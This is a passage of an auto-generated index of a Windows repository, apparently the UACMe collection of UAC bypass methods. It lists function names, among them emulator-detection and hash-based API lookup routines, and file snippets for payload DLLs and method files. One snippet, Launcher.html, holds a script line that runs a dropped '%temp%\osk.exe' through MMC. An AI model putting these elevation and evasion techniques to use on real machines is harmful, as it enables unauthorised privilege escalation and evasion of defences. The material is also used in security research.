  type OBJSCANPARAM (line 56) | typedef struct _OBJSCANPARAM {
  type OPLOCK_FILE_CONTEXT (line 61) | typedef struct _OPLOCK_FILE_CONTEXT {

FILE: Source/Shared/windefend.c
  function DWORD (line 114) | DWORD wdxGetHashForString(
  function PVOID (line 137) | PVOID wdxGetProcedureAddressByHash(
  function VOID (line 195) | VOID wdCheckEmulatedVFS(
  function NTSTATUS (line 218) | NTSTATUS wdIsEmulatorPresent(
  function BOOLEAN (line 272) | BOOLEAN wdIsEmulatorPresent2(
  function BOOLEAN (line 286) | BOOLEAN wdIsEmulatorPresent3(

FILE: Source/Yuubari/appinfo.c
  function BOOL (line 38) | BOOL GetAppInfoBuildVersion(
  function ULONG64 (line 76) | ULONG64 LookupAddressBySymbol(
  function BOOL (line 120) | BOOL ResolveAppInfoSymbols(
  function PVOID (line 225) | PVOID AipFindMSBlockInSection(
  function BOOLEAN (line 261) | BOOLEAN AipQueryMSBlock(
  function BOOL (line 335) | BOOL IsCrossPtr(
  function VOID (line 390) | VOID ListMMCFiles(
  function VOID (line 447) | VOID ListAutoApproveEXE(
  function VOID (line 527) | VOID ListStringDataUnsorted(
  function VOID (line 601) | VOID ScanAppInfo(

FILE: Source/Yuubari/appinfo.h
  type AI_DATA_TYPE (line 22) | typedef enum _AI_DATA_TYPE {
  type UAC_AI_DATA (line 34) | typedef struct _UAC_AI_DATA {
  type UAC_MMC_BLOCK (line 40) | typedef struct _UAC_MMC_BLOCK {
  type UAC_AI_GLOBALS (line 47) | typedef struct _UAC_AI_GLOBALS {

FILE: Source/Yuubari/basic.c
  function VOID (line 19) | VOID QueryAndOutputRegValue(
  function VOID (line 47) | VOID ScanBasicUacData(

FILE: Source/Yuubari/basic.h
  type UAC_BASIC_DATA (line 21) | typedef struct _UAC_BASIC_DATA {

FILE: Source/Yuubari/comobj.c
  function VOID (line 37) | VOID CopRunOutputCallbackForInterface(
  function INTERFACE_INFO (line 62) | INTERFACE_INFO* CopLocateInterfaceByCLSID(
  function VOID (line 99) | VOID CopQuerySubKey(
  function VOID (line 302) | VOID CopEnumSubKey(
  function VOID (line 355) | VOID CopScanRegistry(
  function BOOL (line 395) | BOOL CoEnumInterfaces(
  function VOID (line 481) | VOID CoScanBrokerApprovalList(
  function VOID (line 577) | VOID CoScanAutoApprovalList(
  function VOID (line 644) | VOID CoListInformation(

FILE: Source/Yuubari/comobj.h
  type INTERFACE_INFO (line 26) | typedef struct _INTERFACE_INFO {
  type INTERFACE_INFO_LIST (line 31) | typedef struct _INTERFACE_INFO_LIST {
  type UAC_INTERFACE_DATA (line 36) | typedef struct _UAC_INTERFACE_DATA {
  type UAC_REGISTRY_DATA (line 43) | typedef struct _UAC_REGISTRY_DATA {

FILE: Source/Yuubari/cui.c
  function VOID (line 35) | VOID cuiInitialize(
  function VOID (line 82) | VOID cuiClrScr(
  function VOID (line 122) | VOID cuiPrintTextA(
  function VOID (line 179) | VOID cuiPrintTextW(
  function VOID (line 236) | VOID cuiPrintTextLastErrorA(
  function VOID (line 262) | VOID cuiPrintTextLastErrorW(

FILE: Source/Yuubari/fusion.c
  function BOOLEAN (line 29) | BOOLEAN IsExemptedAutoApproveEXE(
  function NTSTATUS (line 62) | NTSTATUS SxsGetTocHeaderFromActivationContext(
  function NTSTATUS (line 154) | NTSTATUS SxsAllocInitUnicodeString(
  function NTSTATUS (line 197) | NTSTATUS SxsGetStringSectionRedirectionDlls(
  function NTSTATUS (line 279) | NTSTATUS SxsGetDllRedirectionFromActivationContext(
  function NTSTATUS (line 363) | NTSTATUS FusionProbeForRedirectedDlls(
  function VOID (line 413) | VOID FusionCheckFile(
  function VOID (line 713) | VOID FusionScanFiles(
  function VOID (line 748) | VOID FusionScanDirectory(

FILE: Source/Yuubari/fusion.h
  type AUTOELEVATESTATE (line 24) | typedef enum {
  type UAC_FUSION_DATA (line 31) | typedef struct _UAC_FUSION_DATA {
  type UAC_FUSION_DATA_DLL (line 42) | typedef struct _UAC_FUSION_DATA_DLL {
  type DLL_REDIRECTION_LIST_ENTRY (line 49) | typedef struct _DLL_REDIRECTION_LIST_ENTRY {
  type DLL_REDIRECTION_LIST (line 56) | typedef struct _DLL_REDIRECTION_LIST {

FILE: Source/Yuubari/logger.c
  function HANDLE (line 27) | HANDLE LoggerCreate(
  function VOID (line 64) | VOID LoggerWrite(

FILE: Source/Yuubari/main.c
  function VOID (line 26) | VOID LoggerWriteHeader(
  function VOID (line 42) | VOID AppInfoDataOutputCallback(
  function VOID (line 114) | VOID WINAPI BasicDataOutputCallback(
  function VOID (line 152) | VOID WINAPI RegistryOutputCallback(
  function VOID (line 221) | VOID WINAPI FusionOutputCallback(
  function VOID (line 358) | VOID ListBasicSettings(
  function VOID (line 375) | VOID ListCOMFromRegistry(
  function VOID (line 424) | VOID ListFusion(
  function VOID (line 474) | VOID ListAppInfo(
  function VOID (line 500) | VOID main()

FILE: Source/Yuubari/sup.c
  function BOOL (line 27) | BOOL supIsCorImageFile(
  function LPWSTR (line 48) | LPWSTR supReadKeyString(
  function PVOID (line 84) | PVOID supQueryKeyName(
  function BOOLEAN (line 127) | BOOLEAN supIsProcess32bit(
  function PVOID (line 156) | PVOID supFindPattern(
  function LRESULT (line 199) | LRESULT supRegReadDword(
  function PVOID (line 228) | PVOID supLookupImageSectionByName(
  function BOOL (line 295) | BOOL supConcatenatePaths(

FILE: Source/Yuubari/sup.h
  function PVOID (line 29) | PVOID FORCEINLINE supHeapAlloc(
  function BOOL (line 43) | BOOL FORCEINLINE supHeapFree(

FILE: Source/Yuubari/tests/test_fusion.c
  function VOID (line 22) | VOID TestActivationContext(

FILE: Source/Yuubari/wintrustex.h
  type SIGNATURE_INFO_TYPE (line 3) | typedef enum _SIGNATURE_INFO_TYPE {
  type SIGNATURE_STATE (line 17) | typedef enum _SIGNATURE_STATE {
  type SIGNATURE_INFO (line 28) | typedef struct _SIGNATURE_INFO {
Condensed preview — 168 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,707K chars).
[
  {
    "path": ".gitattributes",
    "chars": 66,
    "preview": "# Auto detect text files and perform LF normalization\n* text=auto\n"
  },
  {
    "path": "LICENSE.md",
    "chars": 1282,
    "preview": "Copyright (c) 2014 - 2025, UACMe Project\n\nRedistribution and use in source and binary forms, with or without\nmodificatio"
  },
  {
    "path": "README.md",
    "chars": 41715,
    "preview": "[![Build status](https://img.shields.io/appveyor/build/hfiref0x/uacme?logo=appveyor)](https://ci.appveyor.com/project/hf"
  },
  {
    "path": "Source/Akagi/aic.c",
    "chars": 4228,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2026"
  },
  {
    "path": "Source/Akagi/aic.h",
    "chars": 953,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2020"
  },
  {
    "path": "Source/Akagi/akagi.manifest",
    "chars": 1122,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com"
  },
  {
    "path": "Source/Akagi/appinfo/appinfo.acf",
    "chars": 67,
    "preview": "interface LaunchAdminProcess\n{\t\n\t[async] RAiLaunchAdminProcess();\n}"
  },
  {
    "path": "Source/Akagi/appinfo/appinfo.idl",
    "chars": 1147,
    "preview": "import \"oaidl.idl\";\nimport \"ocidl.idl\";\n\n[\nuuid(201ef99a-7fa0-444c-9399-19ba84f12a1a),\nversion(1.0),\n]\ninterface LaunchA"
  },
  {
    "path": "Source/Akagi/appinfo/x64/appinfo64.c",
    "chars": 10497,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0622 *"
  },
  {
    "path": "Source/Akagi/appinfo/x64/appinfo64.h",
    "chars": 2918,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler versi"
  },
  {
    "path": "Source/Akagi/appinfo/x86-32/appinfo32.c",
    "chars": 10537,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0622 *"
  },
  {
    "path": "Source/Akagi/appinfo/x86-32/appinfo32.h",
    "chars": 2916,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler versi"
  },
  {
    "path": "Source/Akagi/bin/Akatsuki64.cd",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "Source/Akagi/bin/Fubuki32.cd",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "Source/Akagi/bin/Fubuki64.cd",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "Source/Akagi/bin/Kamikaze.cd",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "Source/Akagi/bin32res.rc",
    "chars": 202,
    "preview": "#include \"bin32res.h\"\n#include \"winres.h\"\nLANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US\nIDR_FUBUKI32 RCDATA \"bin\\\\fubuki32.c"
  },
  {
    "path": "Source/Akagi/bin64res.rc",
    "chars": 284,
    "preview": "#include \"bin64res.h\"\n#include \"winres.h\"\nLANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US\nIDR_FUBUKI64 RCDATA \"bin\\\\fubuki64.c"
  },
  {
    "path": "Source/Akagi/compress.c",
    "chars": 12313,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2026"
  },
  {
    "path": "Source/Akagi/compress.h",
    "chars": 1566,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2022"
  },
  {
    "path": "Source/Akagi/console.c",
    "chars": 3073,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2022 - 2026"
  },
  {
    "path": "Source/Akagi/console.h",
    "chars": 1295,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2022\n*\n*  T"
  },
  {
    "path": "Source/Akagi/encresource.h",
    "chars": 86644,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2016 - 2025"
  },
  {
    "path": "Source/Akagi/fusutil.c",
    "chars": 17293,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2020 - 2026"
  },
  {
    "path": "Source/Akagi/fusutil.h",
    "chars": 4370,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2020 - 2021"
  },
  {
    "path": "Source/Akagi/global.h",
    "chars": 5003,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2023"
  },
  {
    "path": "Source/Akagi/main.c",
    "chars": 4309,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2022"
  },
  {
    "path": "Source/Akagi/makecab.c",
    "chars": 9003,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2020"
  },
  {
    "path": "Source/Akagi/makecab.h",
    "chars": 910,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2017"
  },
  {
    "path": "Source/Akagi/methods/antonioCoco.c",
    "chars": 26930,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2023 - 2025"
  },
  {
    "path": "Source/Akagi/methods/api0cradle.c",
    "chars": 1742,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2022"
  },
  {
    "path": "Source/Akagi/methods/azagarampur.c",
    "chars": 53226,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2020 - 2025"
  },
  {
    "path": "Source/Akagi/methods/comsup.c",
    "chars": 13877,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2021"
  },
  {
    "path": "Source/Akagi/methods/comsup.h",
    "chars": 3087,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2022"
  },
  {
    "path": "Source/Akagi/methods/dwells.c",
    "chars": 4163,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 2020"
  },
  {
    "path": "Source/Akagi/methods/elvint.h",
    "chars": 15554,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 2022"
  },
  {
    "path": "Source/Akagi/methods/hakril.c",
    "chars": 7585,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2025"
  },
  {
    "path": "Source/Akagi/methods/hybrids.c",
    "chars": 41343,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2025"
  },
  {
    "path": "Source/Akagi/methods/methods.c",
    "chars": 25539,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2025"
  },
  {
    "path": "Source/Akagi/methods/methods.h",
    "chars": 4823,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Akagi/methods/rinn.c",
    "chars": 4680,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 2025"
  },
  {
    "path": "Source/Akagi/methods/routines.h",
    "chars": 4901,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Akagi/methods/shellsup.c",
    "chars": 14591,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2016 - 2023"
  },
  {
    "path": "Source/Akagi/methods/tyranid.c",
    "chars": 16277,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2025"
  },
  {
    "path": "Source/Akagi/methods/wusa.c",
    "chars": 10606,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2025"
  },
  {
    "path": "Source/Akagi/methods/zcgonvh.c",
    "chars": 16011,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2020 - 2025"
  },
  {
    "path": "Source/Akagi/pcasvc/w7/pcasvc7.acf",
    "chars": 89,
    "preview": "[\n\texplicit_handle\n]\ninterface PcaService7\n{\n\tRAiNotifyUserCallbackExceptionProcess();\n}\n"
  },
  {
    "path": "Source/Akagi/pcasvc/w7/pcasvc7.idl",
    "chars": 244,
    "preview": "[\n\tuuid(0767a036-0d22-48aa-ba69-b619480f38cb),\n\tversion(1.0),\n]\ninterface PcaService7\n{\n\tlong RAiNotifyUserCallbackExcep"
  },
  {
    "path": "Source/Akagi/pcasvc/w7/x64/pcasvc7_64.c",
    "chars": 6291,
    "preview": "/*\n\nFile has been edited after MIDL compiler, changes:\n1. XCFG BS removed\n2. Warning supression added\n3. See pcasvc7__MI"
  },
  {
    "path": "Source/Akagi/pcasvc/w7/x64/pcasvc7_64.h",
    "chars": 1940,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler versi"
  },
  {
    "path": "Source/Akagi/pcasvc/w7/x86-32/pcasvc7_32.c",
    "chars": 6681,
    "preview": "/*\n\nFile has been edited after MIDL compiler, changes:\n1. XCFG BS removed\n2. Warning supression added\n3. See pcasvc7__MI"
  },
  {
    "path": "Source/Akagi/pcasvc/w7/x86-32/pcasvc7_32.h",
    "chars": 1938,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler versi"
  },
  {
    "path": "Source/Akagi/pcasvc/w8_10/pcasvc.acf",
    "chars": 68,
    "preview": "[\n\texplicit_handle\n]\ninterface PcaService\n{\n\tRAiMonitorProcess();\n}\n"
  },
  {
    "path": "Source/Akagi/pcasvc/w8_10/pcasvc.idl",
    "chars": 344,
    "preview": "[\n\tuuid(0767a036-0d22-48aa-ba69-b619480f38cb),\n\tversion(1.0),\n]\ninterface PcaService\n{\n\tlong RAiMonitorProcess(\n\t\thandle"
  },
  {
    "path": "Source/Akagi/pcasvc/w8_10/x64/pcasvc64.c",
    "chars": 6956,
    "preview": "/*\n\nFile has been edited after MIDL compiler, changes:\n1. XCFG BS removed\n2. Warning supression added\n\n*/\n\n /* File crea"
  },
  {
    "path": "Source/Akagi/pcasvc/w8_10/x64/pcasvc64.h",
    "chars": 2057,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler versi"
  },
  {
    "path": "Source/Akagi/pcasvc/w8_10/x86-32/pcasvc32.c",
    "chars": 7279,
    "preview": "/*\n\nFile has been edited after MIDL compiler, changes:\n1. XCFG BS removed\n2. Warning supression added\n\n*/\n\n /* File crea"
  },
  {
    "path": "Source/Akagi/pcasvc/w8_10/x86-32/pcasvc32.h",
    "chars": 2056,
    "preview": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler versi"
  },
  {
    "path": "Source/Akagi/stub.c",
    "chars": 2280,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 202"
  },
  {
    "path": "Source/Akagi/stub.h",
    "chars": 590,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 2022"
  },
  {
    "path": "Source/Akagi/sup.c",
    "chars": 103023,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2026"
  },
  {
    "path": "Source/Akagi/sup.h",
    "chars": 12058,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Akagi/tests/test.c",
    "chars": 1871,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2022"
  },
  {
    "path": "Source/Akagi/tests/test.h",
    "chars": 2676,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 202"
  },
  {
    "path": "Source/Akagi/uacme.vcxproj",
    "chars": 35305,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "Source/Akagi/uacme.vcxproj.filters",
    "chars": 9600,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "Source/Akagi/uacme.vcxproj.user",
    "chars": 2498,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
  },
  {
    "path": "Source/Akagi/uas.h",
    "chars": 7059,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2021 - 2024"
  },
  {
    "path": "Source/Akatsuki/Akatsuki.vcxproj",
    "chars": 9103,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "Source/Akatsuki/Akatsuki.vcxproj.filters",
    "chars": 3239,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "Source/Akatsuki/Akatsuki.vcxproj.user",
    "chars": 160,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
  },
  {
    "path": "Source/Akatsuki/dllmain.c",
    "chars": 5546,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2016 - 2022"
  },
  {
    "path": "Source/Akatsuki/export.def",
    "chars": 160,
    "preview": "EXPORTS\nWow64LogSystemService   = DummyFunc\nWow64LogInitialize      = DummyFunc\nWow64LogTerminate       = DummyFunc\nWow6"
  },
  {
    "path": "Source/Akatsuki/resource.h",
    "chars": 387,
    "preview": "//{{NO_DEPENDENCIES}}\n// Microsoft Visual C++ generated include file.\n// Used by version.rc\n\n// Next default values for "
  },
  {
    "path": "Source/Fubuki/atldll.h",
    "chars": 6978,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2023\n*\n*  T"
  },
  {
    "path": "Source/Fubuki/dll.vcxproj",
    "chars": 18859,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "Source/Fubuki/dll.vcxproj.filters",
    "chars": 3948,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "Source/Fubuki/dll.vcxproj.user",
    "chars": 364,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
  },
  {
    "path": "Source/Fubuki/dllmain.c",
    "chars": 9138,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Fubuki/export.def",
    "chars": 2106,
    "preview": "EXPORTS\n;DllRegisterServer           = DummyFunc PRIVATE\n\n; WOW64LOG\nWow64LogSystemService\t\t= DummyFunc\nWow64LogInitiali"
  },
  {
    "path": "Source/Fubuki/fubuki.h",
    "chars": 1019,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 2023"
  },
  {
    "path": "Source/Fubuki/pca.c",
    "chars": 12237,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2021 - 2025"
  },
  {
    "path": "Source/Fubuki/pca.h",
    "chars": 716,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2021\n*\n*  T"
  },
  {
    "path": "Source/Fubuki/resource.h",
    "chars": 390,
    "preview": "//{{NO_DEPENDENCIES}}\n// Microsoft Visual C++ generated include file.\n// Used by version.rc\n//\n\n// Next default values f"
  },
  {
    "path": "Source/Fubuki/uihacks.c",
    "chars": 8190,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2019 - 2025"
  },
  {
    "path": "Source/Fubuki/uihacks.h",
    "chars": 754,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2019 - 2024"
  },
  {
    "path": "Source/Fubuki/winmm.h",
    "chars": 5556,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018\n*\n*  T"
  },
  {
    "path": "Source/Kamikaze/Kamikaze.msc",
    "chars": 65683,
    "preview": "<?xml version=\"1.0\"?><MMC_ConsoleFile ConsoleVersion=\"3.0\" ProgramMode=\"Author\">\n  <ConsoleFileID>{D0918FB2-FDF5-4A21-A3"
  },
  {
    "path": "Source/Kamikaze/Launcher.html",
    "chars": 121,
    "preview": "<html><body><script>external.ExecuteShellCommand(\"%temp%\\\\osk.exe\",\"%systemdrive%\",\"\",\"Restored\");</script></body></html"
  },
  {
    "path": "Source/Naka/Naka.vcxproj",
    "chars": 14716,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "Source/Naka/Naka.vcxproj.filters",
    "chars": 2124,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "Source/Naka/Naka.vcxproj.user",
    "chars": 1228,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
  },
  {
    "path": "Source/Naka/main.c",
    "chars": 26628,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2016 - 2025"
  },
  {
    "path": "Source/Naka/naka.h",
    "chars": 2014,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 2021"
  },
  {
    "path": "Source/README.md",
    "chars": 380,
    "preview": "## Units\n\n- Akagi, x64/x86-32 main executable file, contain payload/data units.\n- Akatsuki, x64 payload, WOW64 logger.\n-"
  },
  {
    "path": "Source/Shared/_filename.c",
    "chars": 2601,
    "preview": "#include <Windows.h>\n#include \"minirtl.h\"\n\nchar *_filename_a(const char *f)\n{\n\tchar *p = (char *)f;\n\n\tif (f == 0)\n\t\tretu"
  },
  {
    "path": "Source/Shared/_filename.h",
    "chars": 757,
    "preview": "#pragma once\n\n#ifndef _FILENAMEH_\n#define _FILENAMEH_\n\nchar *_filename_a(const char *f);\nwchar_t *_filename_w(const wcha"
  },
  {
    "path": "Source/Shared/_strcat.c",
    "chars": 459,
    "preview": "#include \"rtltypes.h\"\n\nchar *_strcat_a(char *dest, const char *src)\n{\n\tif ( (dest==0) || (src==0) )\n\t\treturn dest;\n\n\twhi"
  },
  {
    "path": "Source/Shared/_strcmp.c",
    "chars": 549,
    "preview": "#include \"rtltypes.h\"\n\nint _strcmp_a(const char *s1, const char *s2)\n{\n\tchar c1, c2;\n\n\tif ( s1==s2 )\n\t\treturn 0;\n\n\tif ( "
  },
  {
    "path": "Source/Shared/_strcmpi.c",
    "chars": 592,
    "preview": "#include \"rtltypes.h\"\n\nint _strcmpi_a(const char *s1, const char *s2)\n{\n\tchar c1, c2;\n\t\n\tif ( s1==s2 )\n\t\treturn 0;\n\n\tif "
  },
  {
    "path": "Source/Shared/_strcpy.c",
    "chars": 496,
    "preview": "#include \"rtltypes.h\"\n\nchar *_strcpy_a(char *dest, const char *src)\n{\n\tchar *p;\n\n\tif ( (dest==0) || (src==0) )\n\t\treturn "
  },
  {
    "path": "Source/Shared/_strend.c",
    "chars": 243,
    "preview": "#include \"rtltypes.h\"\n\nchar *_strend_a(const char *s)\n{\n\tif ( s==0 )\n\t\treturn 0;\n\n\twhile ( *s!=0 )\n\t\ts++;\n\n\treturn (char"
  },
  {
    "path": "Source/Shared/_strlen.c",
    "chars": 287,
    "preview": "#include \"rtltypes.h\"\n\nsize_t _strlen_a(const char *s)\n{\n\tchar *s0 = (char *)s;\n\n\tif ( s==0 )\n\t\treturn 0;\n\n\twhile ( *s!="
  },
  {
    "path": "Source/Shared/_strncmp.c",
    "chars": 695,
    "preview": "#include \"rtltypes.h\"\n\nint _strncmp_a(const char *s1, const char *s2, size_t cchars)\n{\n\tchar c1, c2;\n\n\tif ( s1==s2 )\n\t\tr"
  },
  {
    "path": "Source/Shared/_strncmpi.c",
    "chars": 737,
    "preview": "#include \"rtltypes.h\"\n\nint _strncmpi_a(const char *s1, const char *s2, size_t cchars)\n{\n\tchar c1, c2;\n\n\tif ( s1==s2 )\n\t\t"
  },
  {
    "path": "Source/Shared/_strncpy.c",
    "chars": 642,
    "preview": "#include \"rtltypes.h\"\n\nchar *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc)\n{\n\tchar *p;\n\n\tif ( (de"
  },
  {
    "path": "Source/Shared/_strstri.c",
    "chars": 1178,
    "preview": "#include \"rtltypes.h\"\n\nchar *_strstri_a(const char *s, const char *sub_s)\n{\n\tchar c0, c1, c2, *tmps, *tmpsub;\n\n\tif (s =="
  },
  {
    "path": "Source/Shared/cmdline.c",
    "chars": 2724,
    "preview": "#include <windows.h>\n\nBOOL GetCommandLineParamW(\n\tIN\tLPCWSTR\tCmdLine,\n\tIN\tULONG\tParamIndex,\n\tOUT\tLPWSTR\tBuffer,\n\tIN\tULON"
  },
  {
    "path": "Source/Shared/cmdline.h",
    "chars": 698,
    "preview": "#ifndef _CMDLINEH_\n#define _CMDLINEH_\n\nBOOL GetCommandLineParamW(\n\tIN\tLPCWSTR\tCmdLine,\n\tIN\tULONG\tParamIndex,\n\tOUT\tLPWSTR"
  },
  {
    "path": "Source/Shared/consts.h",
    "chars": 10439,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2025"
  },
  {
    "path": "Source/Shared/hde/hde64.c",
    "chars": 9616,
    "preview": "/*\n * Hacker Disassembler Engine 64 C\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\n * All rights reserved.\n *\n */\n\n#i"
  },
  {
    "path": "Source/Shared/hde/hde64.h",
    "chars": 2600,
    "preview": "/*\n * Hacker Disassembler Engine 64\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\n * All rights reserved.\n *\n * hde64."
  },
  {
    "path": "Source/Shared/hde/pstdint.h",
    "chars": 1660,
    "preview": "/*\n *  MinHook - The Minimalistic API Hooking Library for x64/x86\n *  Copyright (C) 2009-2015 Tsuda Kageyu. All rights "
  },
  {
    "path": "Source/Shared/hde/table64.h",
    "chars": 3575,
    "preview": "/*\n * Hacker Disassembler Engine 64 C\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\n * All rights reserved.\n *\n */\n\n#d"
  },
  {
    "path": "Source/Shared/itostr.c",
    "chars": 855,
    "preview": "#include \"rtltypes.h\"\n\nsize_t itostr_a(int x, char *s)\n{\n\tint\t\tt;\n\tsize_t\ti, r = 1, sign;\n\n\tt = x;\n\n\tif (x < 0) {\n\t\tsign"
  },
  {
    "path": "Source/Shared/ldr.c",
    "chars": 8785,
